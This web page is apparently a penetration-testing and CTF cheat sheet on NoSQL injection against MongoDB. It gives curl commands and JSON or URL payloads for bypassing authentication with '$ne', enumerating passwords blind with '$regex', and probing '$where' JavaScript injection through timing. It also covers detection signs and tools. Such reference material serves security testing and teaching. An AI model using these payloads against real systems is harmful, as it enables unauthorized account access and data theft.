☼
⌃
☰

NoSQL Injection

Table of Contents

Injection attacks targeting NoSQL databases such as MongoDB, CouchDB, and Redis. Distinct from SQL injection in syntax but similar in impact — authentication bypass, data extraction, and in some cases code execution.

Related: SQL Injection API Testing Methodology Command Injection

MongoDB Operators

MongoDB queries use JSON-like syntax with operators that can be injected into application queries.

Operator Meaning
$gt Greater than
$lt Less than
$ne Not equal
$in In array
$where JavaScript expression
$regex Regular expression match

Authentication Bypass

JSON body injection

SHELL
curl -X POST http://$IP/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":{"$ne":""},"password":{"$ne":""}}'

The query matches any document where username and password are not empty — bypasses authentication entirely.

Targeting a specific user

SHELL
curl -X POST http://$IP/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$ne":""}}'

URL parameter injection

If parameters are passed in the URL rather than JSON body:

http://$IP/api/login?username=admin&password[$ne]=invalid

Data Extraction

$regex for blind enumeration

Extract data character by character using regex matching.

SHELL
# Test if password starts with 'a'
curl -X POST http://$IP/api/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":{"$regex":"^a"}}'

Automate with ffuf or a custom script to enumerate the full value.

$where JavaScript injection

If the application uses $where, JavaScript can be injected:

SHELL
curl -X POST http://$IP/api/data \
  -H "Content-Type: application/json" \
  -d '{"$where":"sleep(5000)"}'

A delay confirms $where injection. Can be used for blind data extraction via timing.

Detection

Signs that an application may use NoSQL:

  • JSON request/response bodies
  • MongoDB, Mongoose, or similar mentioned in headers or errors
  • Error messages referencing BSON, ObjectId, or document
  • /api/ endpoints returning nested JSON objects

Test for injection by sending operators in all input fields:

{"$gt": ""}
{"$ne": null}
{"$in": [""]}

Tools

  • NoSQLMap — automated NoSQL injection and exploitation
  • Burp Suite — manual testing and fuzzing
  • ffuf — blind enumeration via regex
SHELL
# NoSQLMap basic usage
python3 nosqlmap.py

Tips

  • Always test both JSON body and URL parameter injection — the same endpoint may handle them differently
  • $ne null and $gt empty string are the most reliable authentication bypass payloads
  • Regex-based extraction is slow but reliable for blind scenarios
  • Check for $where carefully — it enables JavaScript execution which can lead to server-side code execution in some configurations
  • On CTFs, MongoDB is the most common NoSQL database — focus testing there first